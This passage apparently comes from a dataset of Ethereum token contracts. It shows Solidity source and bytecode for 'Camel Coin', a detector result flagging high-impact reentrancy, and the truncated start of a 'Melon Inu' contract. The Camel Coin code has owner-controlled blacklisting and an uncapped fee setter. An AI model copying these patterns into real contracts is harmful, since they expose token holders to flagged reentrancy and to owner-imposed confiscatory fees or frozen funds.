newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract CamelCoin is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Camel Coin"; string private constant _symbol = "CC"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 12; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x2cAb18808Acb9E468818185673d79Ad64CA57b8F); address payable private _marketingAddress = payable(0x2cAb18808Acb9E468818185673d79Ad64CA57b8F); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 25000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610553578063dd62ed3e14610573578063ea1644d5146105b9578063f2fde38b146105d957600080fd5b8063a2a957bb146104ce578063a9059cbb146104ee578063bfd792841461050e578063c3c8cd801461053e57600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104ae57600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195d565b6105f9565b005b34801561020a57600080fd5b5060408051808201909152600a81526921b0b6b2b61021b7b4b760b11b60208201525b60405161023a9190611a22565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611a77565b610698565b604051901515815260200161023a565b34801561027f57600080fd5b50601454610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b50670de0b6b3a76400005b60405190815260200161023a565b3480156102dc57600080fd5b506102636102eb366004611aa3565b6106af565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b506040516009815260200161023a565b34801561032e57600080fd5b50601554610293906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611ae4565b610718565b34801561036e57600080fd5b506101fc61037d366004611b11565b610763565b34801561038e57600080fd5b506101fc6107ab565b3480156103a357600080fd5b506102c26103b2366004611ae4565b6107f6565b3480156103c357600080fd5b506101fc610818565b3480156103d857600080fd5b506101fc6103e7366004611b2c565b61088c565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611ae4565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610293565b34801561045957600080fd5b506101fc610468366004611b11565b6108bb565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b50604080518082019091526002815261434360f01b602082015261022d565b3480156104ba57600080fd5b506101fc6104c9366004611b2c565b610903565b3480156104da57600080fd5b506101fc6104e9366004611b45565b610932565b3480156104fa57600080fd5b50610263610509366004611a77565b610970565b34801561051a57600080fd5b50610263610529366004611ae4565b60106020526000908152604090205460ff1681565b34801561054a57600080fd5b506101fc61097d565b34801561055f57600080fd5b506101fc61056e366004611b77565b6109d1565b34801561057f57600080fd5b506102c261058e366004611bfb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c557600080fd5b506101fc6105d4366004611b2c565b610a72565b3480156105e557600080fd5b506101fc6105f4366004611ae4565b610aa1565b6000546001600160a01b0316331461062c5760405162461bcd60e51b815260040161062390611c34565b60405180910390fd5b60005b81518110156106945760016010600084848151811061065057610650611c69565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068c81611c95565b91505061062f565b5050565b60006106a5338484610b8b565b5060015b92915050565b60006106bc848484610caf565b61070e843361070985604051806060016040528060288152602001611daf602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111eb565b610b8b565b5060019392505050565b6000546001600160a01b031633146107425760405162461bcd60e51b815260040161062390611c34565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078d5760405162461bcd60e51b815260040161062390611c34565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e057506013546001600160a01b0316336001600160a01b0316145b6107e957600080fd5b476107f381611225565b50565b6001600160a01b0381166000908152600260205260408120546106a99061125f565b6000546001600160a01b031633146108425760405162461bcd60e51b815260040161062390611c34565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b65760405162461bcd60e51b815260040161062390611c34565b601655565b6000546001600160a01b031633146108e55760405162461bcd60e51b815260040161062390611c34565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092d5760405162461bcd60e51b815260040161062390611c34565b601855565b6000546001600160a01b0316331461095c5760405162461bcd60e51b815260040161062390611c34565b600893909355600a91909155600955600b55565b60006106a5338484610caf565b6012546001600160a01b0316336001600160a01b031614806109b257506013546001600160a01b0316336001600160a01b0316145b6109bb57600080fd5b60006109c6306107f6565b90506107f3816112e3565b6000546001600160a01b031633146109fb5760405162461bcd60e51b815260040161062390611c34565b60005b82811015610a6c578160056000868685818110610a1d57610a1d611c69565b9050602002016020810190610a329190611ae4565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6481611c95565b9150506109fe565b50505050565b6000546001600160a01b03163314610a9c5760405162461bcd60e51b815260040161062390611c34565b601755565b6000546001600160a01b03163314610acb5760405162461bcd60e51b815260040161062390611c34565b6001600160a01b038116610b305760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610623565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bed5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610623565b6001600160a01b038216610c4e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610623565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d135760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610623565b6001600160a01b038216610d755760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610623565b60008111610dd75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610623565b6000546001600160a01b03848116911614801590610e0357506000546001600160a01b03838116911614155b156110e457601554600160a01b900460ff16610e9c576000546001600160a01b03848116911614610e9c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610623565b601654811115610eee5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610623565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3057506001600160a01b03821660009081526010602052604090205460ff16155b610f885760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610623565b6015546001600160a01b0383811691161461100d5760175481610faa846107f6565b610fb49190611cb0565b1061100d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610623565b6000611018306107f6565b6018546016549192508210159082106110315760165491505b8080156110485750601554600160a81b900460ff16155b801561106257506015546001600160a01b03868116911614155b80156110775750601554600160b01b900460ff165b801561109c57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c157506001600160a01b03841660009081526005602052604090205460ff16155b156110e1576110cf826112e3565b4780156110df576110df47611225565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112657506001600160a01b03831660009081526005602052604090205460ff165b8061115857506015546001600160a01b0385811691161480159061115857506015546001600160a01b03848116911614155b15611165575060006111df565b6015546001600160a01b03858116911614801561119057506014546001600160a01b03848116911614155b156111a257600854600c55600954600d555b6015546001600160a01b0384811691161480156111cd57506014546001600160a01b03858116911614155b156111df57600a54600c55600b54600d555b610a6c8484848461146c565b6000818484111561120f5760405162461bcd60e51b81526004016106239190611a22565b50600061121c8486611cc8565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610694573d6000803e3d6000fd5b60006006548211156112c65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610623565b60006112d061149a565b90506112dc83826114bd565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132b5761132b611c69565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137f57600080fd5b505afa158015611393573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b79190611cdf565b816001815181106113ca576113ca611c69565b6001600160a01b0392831660209182029290920101526014546113f09130911684610b8b565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611429908590600090869030904290600401611cfc565b600060405180830381600087803b15801561144357600080fd5b505af1158015611457573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611479576114796114ff565b61148484848461152d565b80610a6c57610a6c600e54600c55600f54600d55565b60008060006114a7611624565b90925090506114b682826114bd565b9250505090565b60006112dc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611664565b600c5415801561150f5750600d54155b1561151657565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153f87611692565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157190876116ef565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a09086611731565b6001600160a01b0389166000908152600260205260409020556115c281611790565b6115cc84836117da565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161191815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061163f82826114bd565b82101561165b57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116855760405162461bcd60e51b81526004016106239190611a22565b50600061121c8486611d6d565b60008060008060008060008060006116af8a600c54600d546117fe565b92509250925060006116bf61149a565b905060008060006116d28e878787611853565b919e509c509a509598509396509194505050505091939550919395565b60006112dc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111eb565b60008061173e8385611cb0565b9050838110156112dc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610623565b600061179a61149a565b905060006117a883836118a3565b306000908152600260205260409020549091506117c59082611731565b30600090815260026020526040902055505050565b6006546117e790836116ef565b6006556007546117f79082611731565b6007555050565b6000808080611818606461181289896118a3565b906114bd565b9050600061182b60646118128a896118a3565b905060006118438261183d8b866116ef565b906116ef565b9992985090965090945050505050565b600080808061186288866118a3565b9050600061187088876118a3565b9050600061187e88886118a3565b905060006118908261183d86866116ef565b939b939a50919850919650505050505050565b6000826118b2575060006106a9565b60006118be8385611d8f565b9050826118cb8583611d6d565b146112dc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610623565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f357600080fd5b803561195881611938565b919050565b6000602080838503121561197057600080fd5b823567ffffffffffffffff8082111561198857600080fd5b818501915085601f83011261199c57600080fd5b8135818111156119ae576119ae611922565b8060051b604051601f19603f830116810181811085821117156119d3576119d3611922565b6040529182528482019250838101850191888311156119f157600080fd5b938501935b82851015611a1657611a078561194d565b845293850193928501926119f6565b98975050505050505050565b600060208083528351808285015260005b81811015611a4f57858101830151858201604001528201611a33565b81811115611a61576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8a57600080fd5b8235611a9581611938565b946020939093013593505050565b600080600060608486031215611ab857600080fd5b8335611ac381611938565b92506020840135611ad381611938565b929592945050506040919091013590565b600060208284031215611af657600080fd5b81356112dc81611938565b8035801515811461195857600080fd5b600060208284031215611b2357600080fd5b6112dc82611b01565b600060208284031215611b3e57600080fd5b5035919050565b60008060008060808587031215611b5b57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8c57600080fd5b833567ffffffffffffffff80821115611ba457600080fd5b818601915086601f830112611bb857600080fd5b813581811115611bc757600080fd5b8760208260051b8501011115611bdc57600080fd5b602092830195509350611bf29186019050611b01565b90509250925092565b60008060408385031215611c0e57600080fd5b8235611c1981611938565b91506020830135611c2981611938565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca957611ca9611c7f565b5060010190565b60008219821115611cc357611cc3611c7f565b500190565b600082821015611cda57611cda611c7f565b500390565b600060208284031215611cf157600080fd5b81516112dc81611938565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4c5784516001600160a01b031683529383019391830191600101611d27565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da957611da9611c7f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220551c73c5a8a3170be797f2e4346c4fdc29b0963c27d843f908b906001c6a304e64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
5,451
0x08cd9f75eb191b370db05ad243d488d1076cd314
/** *Submitted for verification at Etherscan.io on 2022-03-01 */ /* mElon Inu 🍈🍈 “Meme token”, “Elon Musk” & “Melon” are the key elements of Melon Inu. mElon Inu 🍈🍈 https://t.me/meloninutoken */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MELONINU is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; mapping (address => User) private cooldown; uint private constant _totalSupply = 1e10 * 10**9; string public constant name = unicode"Melon Inu"; string public constant symbol = unicode"MELONINU"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _TaxAdd; address public uniswapV2Pair; uint public _buyFee = 12; uint public _sellFee = 12; uint private _feeRate = 15; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap = false; bool public _useImpactFeeSetter = false; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event TaxAddUpdated(address _taxwallet); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable TaxAdd) { _TaxAdd = TaxAdd; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[TaxAdd] = true; _isExcludedFromFee[address(0xdead)] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); if (block.timestamp == _launchedAt) _isBot[to] = true; require(amount <= _maxBuyAmount, "Exceeds maximum buy amount."); require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); if(!cooldown[to].exists) { cooldown[to] = User(0,true); } cooldown[to].buy = block.timestamp; isBuy = true; } if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (10 seconds), "Your sell cooldown has not expired."); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } uint burnAmount = contractTokenBalance/6; contractTokenBalance -= burnAmount; burnToken(burnAmount); swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function burnToken(uint burnAmount) private lockTheSwap{ if(burnAmount > 0){ _transfer(address(this), address(0xdead),burnAmount); } } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); 